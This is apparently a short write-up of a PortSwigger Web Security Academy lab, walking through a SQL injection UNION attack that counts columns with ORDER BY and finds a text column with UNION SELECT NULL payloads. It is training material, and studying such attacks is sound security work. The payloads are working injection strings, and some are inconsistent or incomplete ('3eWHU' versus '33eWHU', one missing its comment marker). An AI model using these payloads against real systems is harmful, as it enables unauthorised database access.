SQL injection UNION attack,finding a column containing text
SQL injection UNION attack,finding a column containing text
Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab SQL injection UNION attack,finding a column containing text (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — SQL_injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :

Solution :
Query made -
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>'
ORDER BY 4 return an error, means there are 3 columns being queried and retreived by the web application.
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 4 --

Determine the column containng text data -

We need to use the UNION SELECT payload using 3 NULL values. Try thetring value 33eWHU in one NULL value to see if it returns that string. If it does , then it means the column contains string data else it is not sting data.
33eWHU in 1st NULL -
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT '3eWHU',NULL,NULL --

33eWHU in 2nd NULL -
sql read-only • copy allowedSELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT NULL,'33eWHU',NULL



Key Takeaways / Lessons
- Understanding SQL_injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection UNION attack,finding a column containing text